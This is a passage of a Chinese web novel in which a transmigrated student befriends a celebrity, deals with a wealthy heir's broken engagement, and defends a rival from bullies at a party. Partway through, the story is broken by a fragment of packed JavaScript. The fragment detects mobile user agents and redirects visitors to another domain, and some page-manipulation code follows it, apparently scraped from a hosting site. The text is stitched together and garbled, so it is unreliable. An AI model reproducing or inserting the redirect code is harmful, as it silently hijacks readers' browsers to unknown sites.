他喉结滚了一下，眼里有心疼，有懊悔，还有一种想要弥补的冲动。 “动手就是不对。以后遇到什么难题，或者需要帮忙的地方可以来找我。”他补充道，语气放得更加柔和，带着一种小心翼翼的承诺，“被欺负了也一定要跟我说，我会帮你撑腰。只要我能做到的。” 只要是他能做到的…… 时绥大脑灵光一现，试探道：“喻先生，你这么说，我现在还真有个小忙想请你帮一下，不知道方不方便？” 喻向锦眼睛一亮，几乎是立马回应：“你说。” 那样子，仿佛时绥提出要天上的星星，他都会想办法去摘。 “就是我们编导系的一个小组作业，要拍个MV。剧本场地都弄好了，就差一个男主角。”时绥懊恼又带点期待的口吻，“我们找了好久都没找到合适的，刚才看到喻先生你，我就觉得，你的气质简直太符合我们剧本里那个角色了。不知道你有没有一点点时间，帮我们客串一下？” 他双手合十，眼神亮晶晶地望着喻向锦，宛若一只等待投喂的小动物。 而喻向锦所有的顾虑，行程的紧张，在亲弟弟这双充满期待的眼睛面前，转眼间烟消云散。他甚至没问具体要拍什么，拍多久。 “好。”喻向锦嘴角扬起温柔的弧度，“带路吧。需要我做什么，告诉我就行。” 他抬手，似乎想揉揉时绥的头发，就像他曾经无数次对喻之夏做的那样，但手抬到一半，又怕唐突，硬生生停在了半空，最后只轻轻拍了拍时绥的肩膀。 时绥被这突如其来的爽快答应和温柔的眼神弄得有点受宠若惊，这位喻家二少爷对自己这个“前霸凌者”的态度也太诡异了吧？ 这已经不是简单的愧疚了。 不过模特搞定了，还是顶配，时绥把这点诡异抛到脑后。 “太好了，喻先生你真是帮了大忙。我们小组就在礼堂那边，我带你去！” 望着时绥雀跃的背影，喻向锦迈开长腿跟上，心中默默想着，这只是一个开始。 欠你的，哥哥会一点一点，加倍补偿回来。 21. 第二十一章 喻向锦不愧是在娱乐圈混的，MV拍摄过程顺利无比，成片效果远超预期。 更让小组其他成员惊讶的是，喻向锦不仅全程配合度极高，没半点架子，对时绥的态度还温和得不像话。 明明主角是他，却为时绥递水递纸巾，跟个打杂的小助理似的忙前忙后。 “我的妈啊时随，喻大明星对你可真好！”眼看着喻向锦又一次帮时绥整理了一下被风吹乱的额发，组长忍不住感叹，“简直像亲哥一样宠！” “是啊，羡慕死了。能让大明星为你‘端茶倒水’的全世界也只有时随你一个吧，喻之夏都没那待遇。”另一个组员附和道。 时绥笑了笑：“可能是喻先生人比较随和吧。” 是他多想了吗……总觉得喻向锦看他的眼神里除了亲切，还藏着一种他看不懂的情绪。 拍摄结束，婉拒喻向锦一起吃个饭的提议，时绥回到宿舍。 一进门，看见孟灿对着电脑屏幕唉声叹气，鼠标点得噼啪响。 “怎么了吗？”时绥放下背包问道。 “唉，直播没人气啊。”孟灿抓了抓头发，一脸烦闷，“技术明明不差，可就是没人看。再这样下去，平台签约都悬了。” 时绥凑过去看了看孟灿的直播界面，确实在线人数寥寥无几。 他想起自己经营的博主账号，虽然性质不同，但也算有点吸粉经验。 目光落在孟灿那双手上—— “你试过露手直播吗？”时绥问。 孟灿的手型很好看，手指修长，算是一个卖点。 “露手？”孟灿一愣。 “对。”时绥说，“你看你技术这么好，操作这么秀，光看游戏画面多可惜。加个摄像头，专门对着你的手和键盘，让大家看看大神是怎么操作的，应该能吸引一波观众。” 孟灿瞧了瞧自己的手，犹豫了一下：“能行吗？” “试试嘛，设备我帮你弄。我最近刚好要换一个新的摄像头，原来那个留给你。” “行，那我试试看！”孟灿被他说得有点心动，“谢了啊宝子，爱你！” 喻家。 气氛凝重。 江以桓叠着腿坐着沙发，对面是喻家现任家主喻廷钧。 喻廷钧不苟言笑，周身散发着久居上位的威严。 江以桓姿态放松，但眼神锐利，气场丝毫不落下风。 “退婚？”喻廷钧听完江以桓简洁明了的陈述，手指在红木桌面上轻轻敲击，发出沉闷的声响，“理由？” “没有感情基础，性格不合。”江以桓回答得滴水不漏，“强扭的瓜不甜，喻总应该明白。与其日后闹得两家难看，不如现在体面结束。” 喻廷钧目光对着江以桓，似乎在衡量这段话背后的深意。 书房里一时陷入沉默，只有墙上古董钟的滴答声。 “之夏知道这事吗？”喻廷钧问。 “他知道。”江以桓，“我想他应该也清楚我的态度。” 喻廷钧微微点了点头。 既没明确反对，也没表示支持，让人难以揣测他什么心思。 一旁沙发上的喻向锦听完了全程，在江以桓离开书房后，跟了上去。 “突然退婚——江少，你是不是知道了什么？” 背后传来喻向锦的声音。 他话里有话，暗示的是喻之夏身世。他怀疑江以桓是不是查到了什么，才如此决绝地要斩断婚约。 江以桓脚步停顿，回眸：“喻二少觉得我应该知道什么？” 他将问题抛了回去，随即话锋一转：“说起来，喻二少最近和我校一个叫时随的学生走得很近？” “还纡尊降贵去帮他拍什么小组作业，这可不像是你一贯的风格。” “个人兴趣而已，江少管得似乎有点宽了。”喻向锦不动声色地说。 “兴趣？”江以桓嘲讽地笑了声，不再纠缠这个话题，“该说的我都说了，告辞。” 离开喻家，江以桓坐进车里，脸色若有所思。 他拿出手机，拨通了沈彦泽的号码。 电话响了好几声才被接起，传来的却是一另一道男声：“喂江哥？沈彦泽他洗澡呢，在浴室里边洗边看别人直播，有够慢的，我还急着拉屎呢，真服了他了。” 是顾鸣川。 江以桓：“让他洗完立刻回我电话。” “好！我去催他。” 大约十分钟后，沈彦泽的电话回了过来，背景音里还隐约有游戏直播的声音：“江哥，什么事这么急？” “帮我调查喻向锦和时随。”江以桓直接道，“越详细越好，尤其是喻向锦最近反常接近时随的原因。我要知道里面到底藏着什么猫腻。” 沈彦泽在电话那头愣了一下：“时随？怎么突然在意起他了？” “喻向锦对自己的亲弟弟喻之夏都未必有耐心，却一反常态对一个曾经欺负过他弟弟的人这么好，这里面肯定藏着什么。” 江以桓摸出一根烟点燃：“如果能找到把柄，这婚就算我爸再反对，我也能名正言顺退掉。” 沈彦泽：“懂了，我马上去查。” 江家晚餐桌上，气氛同样压抑。 “胡闹！和喻家的婚约是维系两家关系的重要纽带，当初也是你妈妈定下的，你说退就退？！” 江振宏将筷子重重拍在桌上，脸色铁青：“你眼里没我这个父亲就算了，连你亲生母亲的遗愿也不管不顾了吗？！” “别跟我说这些没用的。”江以桓，“我和喻之夏没有感情，强行绑在一起对两家都是负担。利益合作有很多种方式，不需要牺牲我的婚姻。” “还有，您没资格提我母亲。” “你——”江振宏怒道，“感情是可以培养的，喻家那孩子温顺懂事，哪里配不上你？我看你就是被外面那些不三不四的女人迷昏了头！” 他意有所指，显然听到了些风言风语。江以桓冷眼扫过去。 “振宏，消消气。”继母林薇柔声劝道。 她脸上带着温婉的笑容，轻轻拍了拍江振宏的手臂，然后看向江以桓，目光带着理解和维护：“阿桓长大了，有自己的想法很正常。感情的事，确实强求不来。既然他觉得不合适，我们做长辈的，也该尊重一下孩子的意愿。” 林薇清楚江以桓心里对自己这个继母一直有芥蒂。此刻替江以桓说话，便能在江以桓那里刷点好感。 “这样吧，退婚的事先缓一缓。最近不是有传言说阿桓在外面有喜欢的女孩子了吗，是不是真的啊？” 江以桓连个眼神都没给她，一副死猪不怕开水烫的表情。 林薇琢磨着这事多半是真的。 “不如就先让阿桓带回来给我们见见？如果那女孩真的很好，家世清白，知书达理，我们再做打算也不迟。总要给孩子们一个机会，也给我们自己一个了解的机会，你说是不是？” 江振宏被林薇温言软语劝着，怒气稍歇：“行，那就先带回来看看。我倒要看看，是什么天仙能让你连喻家的婚约都不要了！” 他瞪着江以桓，“要是带回来的人上不了台面，这婚你就给我老老实实认下！” 江以桓眼神微沉，没再反驳。 …… 回到空旷冷清的顶层公寓，江以桓没有开灯，将自己陷进宽大的沙发里，黑暗中只有手机屏幕幽幽的光映着他轮廓分明的脸。 喻向锦的异常、父亲的反对、继母看似解围实则将压力转嫁到“萌小绥”身上的提议……种种烦心事堆积在心头。 他需要一点慰藉。 手指划开屏幕，点开那个置顶的对话框。 J：「在干嘛呢？」 时绥正在车站旁戴着耳机听音乐，就看到江以桓给他发来了消息。 他时刻牢记要让江以桓对自己失去兴趣，故意冷淡地回：「刚结束一个兼职，在等公交」 江以桓：这么晚了，一个女孩子独自坐公交？ J：「这么晚一个人？路上小心点，注意安全，别被奇怪的人尾随了，最好有人陪着一起走。」 J：「给我发个定位，我开车过来接你。」 萌小绥：「不用，我自己能行。」 江以桓还是不放心。 ……好麻烦的男人。时绥嘟囔了一句，打字补充：「我穿得很低调保守，保证淹没在人群里，不会有人注意到。」 J：「让我看看。」 几秒钟后，一张照片发了过来。 照片里，“少女”确实穿着宽大的浅色T恤和深色牛仔裤，戴着棒球帽，捂得严严实实，只露出小巧的下巴和粉嫩的嘴唇，背景是公交站牌昏暗的灯光。确实非常“安全”的打扮。 江以桓紧绷的神经稍微放松了一点。 萌小绥：「看吧，让你不相信。」 J：「不是不相信，是担心你。」 J：「你还没问我在干嘛呢？」 萌小绥：「那你在干嘛？」 J：「在想你。」 手机那头，刚坐上公交车的时绥看到这三个字，心脏重重地噗通一声：靠，这男人太会了！ 过了一会儿，手机又震动了一下。 J：「回到公寓给我发个消息。然后早点睡，别熬夜。」 萌小绥：「知道了，你好啰嗦（猫猫撇嘴.jpg）」 J：「真乖。」 时绥：“……” 次日下午，时绥刚下课，就接到了喻向锦的电话。昨天喻向锦硬要和他保存联系方式，时绥都拒绝不过。 “时随，下午有空吗？”喻向锦的声音透过电话传来，带着笑意，“昨天你带我逛了学校，今天换我带你出去放松一下。我朋友组了个小局，都是圈内人，比较随意，带你认识认识。” 时绥本想拒绝，但想到喻向锦刚帮了自己那么大一个忙，实在不好推脱，只得答应下来。 聚会地点在一个高档私人会所的顶层露台。环境雅致，视野开阔。 时绥跟着喻向锦进去时，发现喻之夏竟然也在场，正安静地坐在角落的沙发上，脸色看起来有些苍白。 喻向锦一进来，自然成了焦点。他熟稔地和几个朋友打招呼，然后自然地拍了拍时绥的肩膀，将他介绍给大家：“这是时随，在A大认识的小朋友，很优秀的一个孩子。” 这个介绍和亲昵的姿态，再次引来了不少目光，尤其是一些认识喻之夏的人，眼神在喻之夏和时绥之间来回逡巡，充满了八卦的意味。 喻向锦有意无意地带着时绥，将他介绍给几个在影视方面有资源的朋友，言语间不乏赞赏。时绥只能硬着头皮应酬，努力扮演一个乖巧低谦逊的后生。 “我去一趟卫生间，你随意点，别紧张啊。” 见时绥应下，喻向锦笑着摸了摸他的脑袋，随后离开包厢。时绥对着他的背影疑惑地挠了挠头，挑了个位置坐下。 纸终究包不住火，不知怎么的，上流圈子的消息传播速度惊人。江以桓单方面强硬要求退婚的事情，不知怎么就在这个小圈子里传开了。 “哎，听说江少最近铁了心要退婚啊？”一个穿着花哨衬衫的公子哥儿带着点幸灾乐祸的笑意，目光故意瞟向角落里的喻之夏，“之夏，这事儿真的假的？江少这是终于受不了你那温吞性子了？” 他旁边一个妆容精致的男孩也跟着掩嘴轻笑：“是啊，之夏，你也别太难过。江少那种人物，眼光高也正常。不过被退婚……这传出去，以后在圈子里可不好找下家了哦？” 刻薄的言语像刀子一样扎向喻之夏。 他低着头，手指紧紧攥着衣角，指节泛白。 时绥看着这一幕，眉头微微皱了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172111|180729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他对喻之夏没什么好感，但也谈不上多大的恶意。原主造的孽是一回事，眼前这种带着明显恶意的，落井下石的欺凌又是另一回事。 尤其看到那男孩故意装作手滑，把酒泼了喻之夏一脸。 “哎呀，真不好意思呀，之夏你没事吧～” 酒水兜头淋下，喻之夏攥着被酒液浸湿的衣襟，指节泛白。 那一句句嘲笑像针一样扎入耳朵，将他钉在耻辱柱上，重演着“前世”无数次被欺辱的场景。 只不过这次欺辱他的人，从时随变成了别人。 喻之夏低着头，身体僵硬，耳畔一阵阵嗡鸣。直到一道清亮的声音，将这令他感到窒息的空气劈开—— “你们说话注意些分寸。” 时绥往前站了一步，挡在了喻之夏和那两人之间，“别人的私事关你们什么事？退不退婚是江以桓和喻家的事，轮得到你们在这里嚼舌根？” 那花衬衫公子哥儿没想到时绥会出头，愣了一下，随即嗤笑：“哟，这不是常常出现在江少身边的小跟班吗，最近怎么又朝喻二少巴结上了？怎么，主子还没说话，狗就开始叫了，想替喻家出头，你也配？” “就是，一个不知道哪里冒出来的穷学生，也敢在这里指手画脚？”那男孩也尖酸地附和道，“喻二少带你进来，你还真把自己当盘菜了？” 侮辱性的言语让时绥脸色沉了下来。他正要反驳，那个花衬衫大概是喝了点酒，又觉得被时绥落了面子，竟然恼羞成怒地推了时绥一把：“滚开，这里没你说话的份儿！” 时绥猝不及防，被他推得一个踉跄，后背撞在身后的玻璃茶几角上。尖锐的疼痛瞬间袭来，叫他不得不闷哼一声。 “时随！”喻之夏下意识叫了一声。 话音刚落，就见恰好回到包厢看到这一幕的喻向锦脸色骤变。 他拨开人群冲了过来，一把扶住时绥，看到他疼得煞白的脸和撞到的位置，喻向锦眼珠子像被人捅了两刀，神色霎时变得极其可怕。 “赵明轩，你找死？！” 那气场和毫不掩饰的怒火震慑住了公子哥儿，公子哥儿酒醒了一半，结结巴巴：“向、向锦哥，我不是故意的，是他……” “闭嘴！你当老子眼瞎是吗？！”喻向锦厉声打断他，扶着时绥在沙发上坐下，仔细检查他的后背，“撞到哪里了，疼得厉害吗？我送你去医院。” “没事，就是撞了一下，不用去医院。”时绥不想把事情闹大。 喻向锦抬起头，环视了一圈噤若寒蝉的众人，最后目光落在公子哥儿和那个男孩身上，语气森然：“今天的事我记下了，现在立刻给我滚出去！” 公子哥儿和那男孩脸色煞白，再不敢多言，灰溜溜地跑了。 喻向锦这才重新看向时绥，眼神里充满了心疼和后怕：“对不起，是我没照顾好你，叫你受委屈了。” 他轻轻拍了拍时绥的肩膀，语气轻柔无比：“刚才具体发生什么了，能和我说说吗？” 时绥不吭声，喻向锦把目光投向一旁的喻之夏。 喻之夏抿了抿唇，开口：“赵明轩刚才言语羞辱我，时随帮我解了围。” 这话喻之夏自己都难以置信，偏偏是真实发生的事情。 为什么？ 喻之夏看着和喻向锦站在一块儿的“时随”，想不通。 如果说之前只是觉得“时随”古怪，那么现在，喻之夏真的要怀疑“时随”皮下换人了—— 听起来很荒谬，但“重生”这种事既然能降临在自己身上，那么时随并非时随，也不是完全没可能。 “谢谢你刚才帮之夏说话，我们喻家欠你一个人情。”喻向锦对时绥郑重说道。 “时随，以后无论发生什么事，记住，我喻向锦都能成为你的靠山。谁敢动你，就是跟我喻向锦过不去！” 这句话的分量太重，整个露台死寂一片。 不止在场人被喻向锦这掷地有声的言论给惊了呆，连时绥也愣住了，事后想起来解释，可喻向锦根本不给他这个机会。 “喻先生你言重了，我只是……” “好了你不用说了，你我还是护得住的。” 被喻向锦送回学校后，时绥远远看见和顾鸣川一起前往篮球馆的江以桓。 江以桓似乎在给谁发消息，但因为迟迟没得到回应，脸色比锅底还黑。 察觉有人看着这边，他抬头，视线破开空气直直地朝时绥扎来—— “我懂！买烟是吧，我这就去！”被看得头皮发麻的时绥说完，火速跑开。 江以桓没搭理他，一味地沉浸在“绥绥”怎么还不回他消息的情绪中。 时绥冲会宿舍，将微信切换到小号，果然收到来自江以桓的几十条未读。 抛去早安午安这类问候，对方发过来的消息简直叫他头皮发麻。 J：「下周有空吗，要不要再见一面？」 J：「我好想见你，绥绥。」 J：「这两天过得还好吗，心情怎么样？没有别的男生搭讪你吧？」 J：「想看你穿上我给你买的裙子，想看你跳舞，只跳给我一个人看。」 J：「好想把你带回家。」 …… 疯了吧，江以桓。 看样子短时间里是不会让他对萌小绥失去兴趣了。 时绥脑子转动，忽然萌生出一个念头：喻向锦不是说要护着他吗？ 那就算萌小绥单删江以桓，江以桓生气折磨“时随”，他只要找喻向锦哭诉，还有喻向锦护着…… 对，还有人给他撑腰！ 喻向锦毕竟是主角受亲哥，还是挺可靠的。 他要反抗江以桓，不能这么被动地受着！ 于是翻出大号，直接鸽了江以桓：「自己买烟吧，我没空！」 时绥：我不伺候了！